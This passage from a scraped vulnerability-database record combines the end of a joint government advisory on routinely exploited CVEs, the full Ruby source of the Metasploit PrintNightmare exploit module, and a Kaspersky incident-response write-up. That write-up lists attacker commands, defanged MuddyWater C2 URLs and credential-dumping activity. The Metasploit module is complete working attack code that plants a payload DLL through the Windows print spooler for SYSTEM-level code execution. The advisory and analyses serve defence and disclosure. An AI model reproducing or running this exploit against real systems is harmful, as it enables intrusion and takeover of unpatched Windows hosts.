Technology](<https://www.cisa.gov/uscert/ncas/alerts/aa22-047a>)\n\nJoint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>)\n\nJoint CSA [APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations](<https://www.cisa.gov/uscert/ncas/alerts/aa20-283a>)\n\nACSC Alert [APT exploitation of Fortinet Vulnerabilities](<https://www.cyber.gov.au/acsc/view-all-content/alerts/apt-exploitation-fortinet-vulnerabilities>)\n\nCCCS Alert [Exploitation of Fortinet FortiOS vulnerabilities (CISA, FBI) - Update 1](<https://www.cyber.gc.ca/en/alerts/exploitation-fortinet-fortios-vulnerabilities-cisa-fbi>) \n \n[CVE-2018-0171](<https://nvd.nist.gov/vuln/detail/CVE-2018-0171>)\n\n| \n\nCisco \n\n| \n\nSee [Cisco Security Advisory: cisco-sa-20180328-smi2](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2#fixed>)\n\n| \n\n[Cisco Security Advisory: cisco-sa-20180328-smi2](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2#fixed>)\n\n| \n\nCCCS [Action Required to Secure the Cisco IOS and IOS XE Smart Install Feature](<https://www.cyber.gc.ca/en/alerts/action-required-secure-cisco-ios-and-ios-xe-smart-install-feature>) \n \n[CVE-2017-11882](<https://nvd.nist.gov/vuln/detail/CVE-2017-11882>)\n\n| \n\nMicrosoft \n\n| \n\nOffice, multiple versions; see [Microsoft Security Update Guide: Microsoft Office Memory Corruption Vulnerability, CVE-2017-11882](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2017-11882>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Office Memory Corruption Vulnerability, CVE-2017-11882](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2017-11882>)\n\n| \n\nCCCS Alert [Microsoft Office Security Update](<https://www.cyber.gc.ca/en/alerts/microsoft-office-security-update>) \n \n[CVE-2017-0199](<https://nvd.nist.gov/vuln/detail/CVE-2017-0199>)\n\n| \n\nMicrosoft \n\n| \n\nMultiple products; see [Microsoft Security Update Guide: Microsoft Office/WordPad Remote Code Execution Vulnerability w/Windows, CVE-2017-0199](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2017-0199>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Office/WordPad Remote Code Execution Vulnerability w/Windows, CVE-2017-0199](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2017-0199>)\n\n| \n\nCCCS [Microsoft Security Updates](<https://www.cyber.gc.ca/en/alerts/microsoft-security-updates>) \n \n### Contact Information\n\n**U.S. organizations: **all organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at [report@cisa.gov ](<mailto:report@cisa.gov>)or (888) 282-0870 and/or to the FBI via your [local FBI field office](<https://www.fbi.gov/contact-us/field-offices>) or the FBI\u2019s 24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. For NSA client requirements or general cybersecurity inquiries, contact [Cybersecurity_Requests@nsa.gov](<mailto:Cybersecurity_Requests@nsa.gov>). **Australian organizations:** visit [cyber.gov.au](<https://www.cyber.gov.au/>) or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. **Canadian organizations:** report incidents by emailing CCCS at [contact@cyber.gc.ca](<mailto:contact@cyber.gc.ca>). **New Zealand organizations:** report cyber security incidents to [incidents@ncsc.govt.nz](<mailto:incidents@ncsc.govt.nz>) or call 04 498 7654. **United Kingdom organizations:** report a significant cyber security incident: [ncsc.gov.uk/report-an-incident](<https://www.ncsc.gov.uk/section/about-this-website/contact-us>) (monitored 24 hours) or, for urgent assistance, call 03000 200 973.\n\n### Revisions\n\nApril 27, 2022: Initial Version\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-28T12:00:00", "type": "ics", "title": "2021 Top Routinely Exploited Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-0199", "CVE-2017-11882", "CVE-2018-0171", "CVE-2018-13379", "CVE-2019-11510", "CVE-2019-18935", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-1472", "CVE-2020-2509", "CVE-2021-1675", "CVE-2021-20016", "CVE-2021-20038", "CVE-2021-21972", "CVE-2021-21985", "CVE-2021-22893", "CVE-2021-26084", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104", "CVE-2021-27852", "CVE-2021-31207", "CVE-2021-3156", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35464", "CVE-2021-40444", "CVE-2021-40539", "CVE-2021-42237", "CVE-2021-44228"], "modified": "2022-04-28T12:00:00", "id": "AA22-117A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-117a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "metasploit": [{"lastseen": "2022-10-29T00:47:49", "description": "The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request, resulting in remote code execution as NT AUTHORITY\\SYSTEM. This module uses the MS-RPRN vector which requires the Print Spooler service to be running.\n", "cvss3": {}, "published": "2022-05-16T18:56:46", "type": "metasploit", "title": "Print Spooler Remote DLL Injection", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-05-24T13:16:30", "id": "MSF:EXPLOIT-WINDOWS-DCERPC-CVE_2021_1675_PRINTNIGHTMARE-", "href": "https://www.rapid7.com/db/modules/exploit/windows/dcerpc/cve_2021_1675_printnightmare/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'windows_error'\nrequire 'ruby_smb'\nrequire 'ruby_smb/error'\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::Remote::DCERPC\n include Msf::Exploit::Remote::SMB::Client::Authenticated\n include Msf::Exploit::Remote::SMB::Server::Share\n include Msf::Exploit::Retry\n include Msf::Exploit::EXE\n include Msf::Exploit::Deprecated\n\n moved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare'\n\n PrintSystem = RubySMB::Dcerpc::PrintSystem\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Print Spooler Remote DLL Injection',\n 'Description' => %q{\n The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted\n DCERPC request, resulting in remote code execution as NT AUTHORITY\\SYSTEM. This module uses the MS-RPRN\n vector which requires the Print Spooler service to be running.\n },\n 'Author' => [\n 'Zhiniang Peng', # vulnerability discovery / research\n 'Xuefeng Li', # vulnerability discovery / research\n 'Zhipeng Huo', # vulnerability discovery\n 'Piotr Madej', # vulnerability discovery\n 'Zhang Yunhai', # vulnerability discovery\n 'cube0x0', # PoC\n 'Spencer McIntyre', # metasploit module\n 'Christophe De La Fuente', # metasploit module co-author\n ],\n 'License' => MSF_LICENSE,\n 'DefaultOptions' => {\n 'SRVHOST' => Rex::Socket.source_address\n },\n 'Stance' => Msf::Exploit::Stance::Aggressive,\n 'Targets' => [\n [\n 'Windows', {\n 'Platform' => 'win',\n 'Arch' => [ ARCH_X64, ARCH_X86 ]\n },\n ],\n ],\n 'DisclosureDate' => '2021-06-08',\n 'References' => [\n ['CVE', '2021-1675'],\n ['CVE', '2021-34527'],\n ['URL', 'https://github.com/cube0x0/CVE-2021-1675'],\n ['URL', 'https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare'],\n ['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'],\n ['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream']\n ],\n 'Notes' => {\n 'AKA' => [ 'PrintNightmare' ],\n 'Stability' => [CRASH_SERVICE_DOWN],\n 'Reliability' => [UNRELIABLE_SESSION],\n 'SideEffects' => [\n ARTIFACTS_ON_DISK # the dll will be copied to the remote server\n ]\n }\n )\n )\n\n register_advanced_options(\n [\n OptInt.new('ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ])\n ]\n )\n deregister_options('AutoCheck')\n end\n\n def check\n begin\n connect(backend: :ruby_smb)\n rescue Rex::ConnectionError\n return Exploit::CheckCode::Unknown('Failed to connect to the remote service.')\n end\n\n begin\n smb_login\n rescue Rex::Proto::SMB::Exceptions::LoginError\n return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.')\n end\n\n begin\n dcerpc_bind_spoolss\n rescue RubySMB::Error::UnexpectedStatusCode => e\n nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first\n if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND\n print_error(\"The 'Print Spooler' service is disabled.\")\n end\n return Exploit::CheckCode::Safe(\"The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).\")\n end\n\n @target_arch = dcerpc_getarch\n # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43\n if @target_arch == ARCH_X64\n @environment = 'Windows x64'\n elsif @target_arch == ARCH_X86\n @environment = 'Windows NT x86'\n else\n return Exploit::CheckCode::Detected('Successfully bound to the remote service.')\n end\n\n print_status(\"Target environment: Windows v#{simple.client.os_version} (#{@target_arch})\")\n\n print_status('Enumerating the installed printer drivers...')\n drivers = enum_printer_drivers(@environment)\n @driver_path = \"#{drivers.driver_path.rpartition('\\\\').first}\\\\UNIDRV.DLL\"\n vprint_status(\"Using driver path: #{@driver_path}\")\n\n print_status('Retrieving the path of the printer driver directory...')\n @config_directory = get_printer_driver_directory(@environment)\n vprint_status(\"Using driver directory: #{@config_directory}\") unless @config_directory.nil?\n\n container = driver_container(\n p_config_file: 'C:\\\\Windows\\\\System32\\\\kernel32.dll',\n p_data_file: \"\\\\??\\\\UNC\\\\127.0.0.1\\\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll\"\n )\n\n case add_printer_driver_ex(container)\n when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code\n return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')\n when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND\n return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')\n when ::WindowsError::Win32::ERROR_BAD_NET_NAME\n return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')\n when ::WindowsError::Win32::ERROR_ACCESS_DENIED\n return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')\n end\n\n Exploit::CheckCode::Detected('Successfully bound to the remote service.')\n end\n\n def run\n fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64\n fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?\n fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?\n\n super\n end\n\n def setup\n if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0\n fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')\n end\n\n super\n end\n\n def start_service\n file_name << '.dll'\n self.file_contents = generate_payload_dll\n\n super\n end\n\n def primer\n dll_path = unc\n if dll_path =~ /^\\\\\\\\([\\w:.\\[\\]]+)\\\\(.*)$/\n # targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass\n # otherwise the operation will fail with ERROR_INVALID_PARAMETER\n dll_path = \"\\\\??\\\\UNC\\\\#{Regexp.last_match(1)}\\\\#{Regexp.last_match(2)}\"\n end\n vprint_status(\"Using DLL path: #{dll_path}\")\n\n filename = dll_path.rpartition('\\\\').last\n container = driver_container(p_config_file: 'C:\\\\Windows\\\\System32\\\\kernel32.dll', p_data_file: dll_path)\n\n 3.times do\n add_printer_driver_ex(container)\n end\n\n 1.upto(3) do |directory|\n container.driver_info.p_config_file.assign(\"#{@config_directory}\\\\3\\\\old\\\\#{directory}\\\\#{filename}\")\n break if add_printer_driver_ex(container).nil?\n end\n\n cleanup_service\n end\n\n def driver_container(**kwargs)\n PrintSystem::DriverContainer.new(\n level: 2,\n tag: 2,\n driver_info: PrintSystem::DriverInfo2.new(\n c_version: 3,\n p_name_ref_id: 0x00020000,\n p_environment_ref_id: 0x00020004,\n p_driver_path_ref_id: 0x00020008,\n p_data_file_ref_id: 0x0002000c,\n p_config_file_ref_id: 0x00020010,\n # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913\n p_name: \"#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}\",\n p_environment: @environment,\n p_driver_path: @driver_path,\n **kwargs\n )\n )\n end\n\n def dcerpc_bind_spoolss\n handle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\\\spoolss'])\n vprint_status(\"Binding to #{handle} ...\")\n dcerpc_bind(handle)\n vprint_status(\"Bound to #{handle} ...\")\n end\n\n def enum_printer_drivers(environment)\n response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)\n response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)\n fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length\n DriverInfo2.read(response.p_drivers.map(&:chr).join)\n end\n\n def get_printer_driver_directory(environment)\n response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)\n response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)\n fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length\n RubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT')\n end\n\n def add_printer_driver_ex(container)\n flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES\n\n begin\n response = rprn_call('RpcAddPrinterDriverEx', p_name: \"\\\\\\\\#{datastore['RHOST']}\", p_driver_container: container, dw_file_copy_flags: flags)\n rescue RubySMB::Error::UnexpectedStatusCode => e\n nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first\n message = \"Error #{nt_status.name} (#{nt_status.description})\"\n if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN\n # STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected\n print_status('The named pipe connection was broken, reconnecting...')\n reconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do\n dcerpc_bind_spoolss\n rescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e\n false\n else\n true\n end\n\n unless reconnected\n vprint_status('Failed to reconnect to the named pipe.')\n return nil\n end\n\n print_status('Successfully reconnected to the named pipe.')\n retry\n else\n print_error(message)\n end\n\n return nt_status\n end\n\n error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first\n message = \"RpcAddPrinterDriverEx response #{response.error_status}\"\n message << \" #{error.name} (#{error.description})\" unless error.nil?\n vprint_status(message)\n error\n end\n\n def rprn_call(name, **kwargs)\n request = PrintSystem.const_get(\"#{name}Request\").new(**kwargs)\n\n begin\n raw_response = dcerpc.call(request.opnum, request.to_binary_s)\n rescue Rex::Proto::DCERPC::Exceptions::Fault => e\n fail_with(Failure::UnexpectedReply, \"The #{name} Print System RPC request failed (#{e.message}).\")\n end\n\n PrintSystem.const_get(\"#{name}Response\").read(raw_response)\n end\n\n class DriverInfo2Header < BinData::Record\n endian :little\n\n uint32 :c_version\n uint32 :name_offset\n uint32 :environment_offset\n uint32 :driver_path_offset\n uint32 :data_file_offset\n uint32 :config_file_offset\n end\n\n # this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2\n # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030\n DriverInfo2 = Struct.new(:header, :name, :environment, :driver_path, :data_file, :config_file) do\n def self.read(data)\n header = DriverInfo2Header.read(data)\n new(\n header,\n RubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'),\n RubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'),\n RubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'),\n RubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'),\n RubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT')\n )\n end\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/dcerpc/cve_2021_1675_printnightmare.rb", "cvss": {"score": 0.0, "vector": "NONE"}}], "securelist": [{"lastseen": "2021-12-15T10:54:49", "description": "\n\n_Kaspersky Managed Detection and Response (MDR) provides advanced protection against the growing number of threats that bypass automatic security barriers. Its capabilities are backed by a high-professional team of security analysts operating all over the world. Each suspicious security event is validated by our analysts complementing the automatic detection logic and letting us continuously improve the detection rules._\n\n_The MDR results allow us to map out the modern threat landscape and show techniques used by attackers right now. We share these results with you so that you are more informed about in-the-wild attacks and better prepared to respond._\n\n## PrintNightmare vulnerability exploitation\n\nThis summer, we witnessed a series of attacks using a dangerous vulnerability in the Windows Print Spooler service: **CVE-2021-1675/CVE-2021-34527**, also known as [PrintNightmare](<https://www.kaspersky.com/blog/printnightmare-vulnerability/40520/>). This vulnerability was published in June 2021 and allows attackers to add arbitrary printer drivers in the spooler service and thus remotely execute code on a vulnerable host under System privileges. We have already [published](<https://securelist.com/quick-look-at-cve-2021-1675-cve-2021-34527-aka-printnightmare/103123/>) the technical details of this vulnerability, and today we will talk about how MDR analysts detected and investigated attacks that exploit this vulnerability in real companies.\n\n### Case #1\n\nShortly after the PrintNightmare vulnerability was published, a detailed report with a technical description of the problem, as well as a working PoC exploit, was posted on GitHub by mistake. The repository was disconnected several hours later, but during this time several other users managed to clone it.\n\nKaspersky detected an attempt to exploit the PrintNightmare vulnerability using this publicly available tool. The MDR team observed a request to suspicious _DLL_ libraries from the spooler service. It should be noted, that the file names used by the attacker were exactly the same as those available in the public exploit on GitHub.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150920/MDR_interesting_cases_02.png>) | Kaspersky detected suspicious DLL libraries (nightmare.dll) on the monitored host. | C:\\Windows\\System32\\spool\\drivers\\x64\\3\\nightmare.dll C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\nightmare.dll \n---|---|--- \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150937/MDR_interesting_cases_01.png>) | In addition, the following script was found on the host. | \\cve-2021-1675-main-powershell\\cve-2021-1675-main\\cve-2021-1675.ps1 \n \nThe table below contains signs of suspicious activity that served as a starting point for the investigation.\n\n**MITRE ATT&amp;CK Technique** | **MDR telemetry event type used** | **Detection details** | **Description** \n---|---|---|--- \n**T1210:** \nExploitation of \nRemote \nServices | Local File Modification | Modified file path: \nC:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\ \n1\\nightmare.dll \nFile modifier: \nC:\\Windows\\System32\\spoolsv.exe \nParent of the modifier: \nC:\\Windows\\System32\\services.exe | Legitimate spoolsv.exe \nlocally modified \nc:\\windows\\system32 \n\\spool\\drivers\\x64\\ \n3\\old\\1\\nightmare.dll \n**T1588.005:** \nObtain \nCapabilities: \nExploits | AV exact detect in \nOnAccess mode | File: \n\\cve-2021-1675-main-powershell\\cve-2021- \n1675-main\\cve-2021-1675.ps1 \nAV verdicts: \nExploit.Win64.CVE-2021-1675.c; \nUDS:Exploit.Win64.CVE-2021-1675.c | CVE-2021-1675 exploit \nwas detected and \nsuccessfully deleted \nby AM engine \n \n### Case #2\n\nIn another case, MDR analysts discovered a different attack scenario related to the exploitation of the PrintNightmare vulnerability. In particular, _spooler_ service access to suspicious _DLL_ files was observed. In addition, the _spooler_ service executed some unusual commands and established a network connection. Based on the tools used by attackers, we presume that this activity was related to penetration testing.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150920/MDR_interesting_cases_02.png>) | MDR analyst detected the creation of suspicious _DLL_ libraries using the _certutil.exe_ tool on a monitored host. \nAfter that, the _spooler_ service was added to the planned tasks. | C:\\Windows\\System32\\spool\\driver \ns\\x64\\3\\new\\hello.dll \nC:\\Windows\\System32\\spool\\driver \ns\\x64\\3\\new\\unidrv.dll\u2026 \n---|---|--- \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14151142/MDR_interesting_cases_03.png>) | Next, the spooler service called the newly created _DLL_ files. \nIn addition, the attacker ran some of the created libraries using the rundll32 component. | \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14151347/MDR_interesting_cases_04.png>) | Several hours later, a new wave of activity began. The Kaspersky MDR team detected a registry key modification that forces NTLMv1 authentication. It potentially allows [NTLM hashes](<https://book.hacktricks.xyz/windows/ntlm#basic-ntlm-domain-authentication-scheme>) to be intercepted. | \\REGISTRY\\MACHINE\\SYSTEM\\Control \nSet001\\Control\\Lsa\\MSV1_0 \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150937/MDR_interesting_cases_01.png>) | Then the attacker re-added spooler to the planned tasks. \nAfter that, execution of various commands on the host with System privileges was observed. The source of this activity was _c:\\windows\\system32\\spoolsv.exe_ process | C:\\Windows\\System32\\cmd.exe /c \nnet start spooler \nC:\\Windows\\System32\\cmd.exe /c \ntimeout 600 &amp;gt; NUL &amp;amp;&amp;amp; \nnet start spooler \n \nThe table below contains signs of suspicious activity that were the starting point for investigation.\n\n**MITRE ATT&amp;CK Technique** | **MDR telemetry event type used** | **Detection details** | **Description** \n---|---|---|--- \n**T1570: ** \nLateral Tool Transfer | Web AV exact detect in _OnDownload_ mode | AV verdict: HEUR:Trojan.Win32.Shelma.gen | Attacker downloads \nsuspicious DLL (that is, \nMeterpreter payload) via \nHTTP \n**T1140:** \nDeobfuscate/Decode Files or Information | Local File Modification | Process command lines: \ncertutil -decode 1.txt \nC:\\Share\\hello4.dll | Attacker used _certutil_ \nto decode text file into PE \nbinary \n**T1003.001: \n**OS Credential Dumping: LSASS Memory | AV exact detect in _OnAccess_ mode | AV verdicts: \nVHO:Trojan\u2011PSW.Win64.Mimikatz.gen \nTrojan-PSW.Win32.Mimikatz.gen | Attacker tried to use \nMimikatz \n**T1127.001: \n**Trusted Developer Utilities Proxy Execution: MSBuild | Outbound network connection | Process command line: \nC:\\Windows\\Microsoft.NET\\Framework\\v4 \n.0.30319\\MSBuild.exe C:\\Share\\1.xml | MSBuild network activity \n**T1210: \n**Exploitation of Remote Services | Local File Modification | Modified file path: \nC:\\Windows\\System32\\spool\\drivers\\x64 \n\\3\\old\\1\\hello5.dllFile modifier: \nC:\\Windows\\System32\\spoolsv.exe \nParent of the modifier: \nC:\\Windows\\System32\\services.exe | Legitimate \nspoolsv.exe locally \nmodified \nc:\\windows\\system3 \n2\\spool\\drivers\\x6 \n4\\3\\old\\1\\hello5.dll \n**T1547.012: \n**Boot or Logon Autostart Execution: Print Processors \n**T1033: \n**System Owner/User Discovery | Process start | Command line: whoami \nProcess integrity level: System \nParent process: \nC:\\WINDOWS\\System32\\spoolsv.exe \nGrandparent process: \nC:\\Windows\\System32\\services.exe | Legitimate \nspoolsv.exe started \nwhoami with System \nintegrity level \n**T1547.012:** \nBoot or Logon Autostart Execution: Print Processors | Outbound network connection | Process command line: \nC:\\Windows\\System32\\spoolsv.exe \nRemote TCP port: 4444/TCP | Legitimate \nspoolsv.exe made a \nconnection to default \nMeterpreter port \n(4444/TCP) \n**T1547.012:** \nBoot or Logon Autostart Execution: Print Processors \n**T1059.003:** \nCommand and Scripting Interpreter: Windows Command Shell \n**T1033:** \nSystem Owner/User Discovery | Process start | Command line: whoami \nProcess integrity level: System \nParent process: \nC:\\Windows\\System32\\cmd.exe \nGrandparent process: \nC:\\Windows\\System32\\spoolsv.exe | Legitimate \nspoolsv.exe started \ncmd.exe that started \nwhoami with System \nintegrity level \n \n## MuddyWater attack\n\nIn this case, the Kaspersky MDR team detected a request from the customer&#x27;s infrastructure to a malicious APT related host. Further investigation allowed us to attribute this attack to the [MuddyWater group](<https://attack.mitre.org/groups/G0069/>). MuddyWater is a threat actor that first surfaced in 2017. This APT group mainly targets government agencies in Iraq, Saudi Arabia, Jordan, Turkey, Azerbaijan, and Pakistan. Kaspersky&#x27;s report on this group&#x27;s activity is available [here](<https://securelist.com/muddywaters-arsenal/90659/>).\n\nAmong other methods, the group uses VBS implants in phishing emails as an initial attack vector. During execution, the implant accesses URLs with a common structure to connect to the C2 server. The typical structure of the URL is provided below.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14151840/MDR_interesting_cases_05.png>)\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14152658/MDR_interesting_cases_06.png>) | First of all, MDR analysts found a VBS implant from startup, presumably related to the MuddyWater group, to be running on the monitored host. | \\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\KLWB6.vbs \n---|---|--- \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150937/MDR_interesting_cases_01.png>) | After script execution, some malicious resources were accessed. The structure of these URLs follows the common structure used by the MuddyWater group. In addition, the accessed IP address was observed in other attacks of this group. | hxxp://185[.]117[.]73[.]52:443/getTarget \nInfo?guid=xxx-yyy-zzz&amp;status=1 \nhxxp://185[.]117[.]73[.]52:443/getComman \nd?guid=xxx-yyy-zzz* \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14153224/MDR_interesting_cases_07.png>) | Next, execution of commands to collect information from the compromised host was observed. | &quot;C:\\Windows\\System32\\cmd.exe&quot; /c \nexplorer.exe &gt;&gt; \nc:\\ProgramData\\app_setting_readme.txt &quot;C:\\Windows\\System32\\cmd.exe&quot; /c whoami &gt;&gt; c:\\ProgramData\\app_setting_readme.txt \n \n**_* xxx is company short name (identifier), yyy is the victim hostname and zzz is username_**\n\nTable below contains signs of suspicious activity that were the starting point for investigation.\n\n**MITRE ATT&amp;CK Technique** | **MDR telemetry event type used** | **Detection details** | **Description** \n---|---|---|--- \n**T1071: \n**Application Layer Protocol | Access to malicious hosts from nonbrowsers | Target URL: \nhxxp://185[.]117[.]73[.]52:443/getTargetInfo?guid \n=xxx-yyy-zzz&amp;status=1 \nCMD line: \n&quot;C:\\Windows\\System32\\WScript.exe&quot; C:\\Users\\USERNAME\\AppData\\Roaming\\Microsoft\\Windo \nws\\Start Menu\\Programs\\Startup\\KLWB6.vbs \nProcess: \nC:\\Windows\\system32\\wscript.exe | VBS script accessed malicious URL during execution \n**T1071:** \nApplication Layer Protocol | URL exact detect | Malicious URL: \nhxxp://185[.]117[.]73[.]52:443/getTargetInfo?guid \n=xxx-yyy-zzz&amp;status=1 \nAV verdict: \nMalware | Malicious URL was successfully detected by AV \n \n## Credential Dumping from LSASS Memory\n\nIn the last case, we&#x27;d like to talk about an attack related to collecting credentials from the LSASS process memory dump (T1003.001 MITRE technique). Local Security Authority Subsystem Service (LSASS) stores a variety of credentials in process memory. These credentials can be harvested by System or administrative user and then used for attack development or lateral movement.\n\nMDR analysts detected an attempt to dump the LSASS process memory on the monitored host, despite the fact that most of the attacker&#x27;s actions did not differ from the usual actions of the administrator. The attackers used two public tools (the first one was detected and blocked by an AV solution) to dump the LSASS process memory and export the obtained dump via Exchange server. In particular, the MDR team observed the download and execution of a suspicious DLL file (categorized as SSP) by LSASS.exe.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14151347/MDR_interesting_cases_04.png>) | The attacker executed several recon commands to get more information about the host, and then ran commands to get the LSASS process ID. | C:\\Windows\\System32\\tasklist.exe \nC:\\Windows\\System32\\findstr.exe /i sass \n---|---|--- 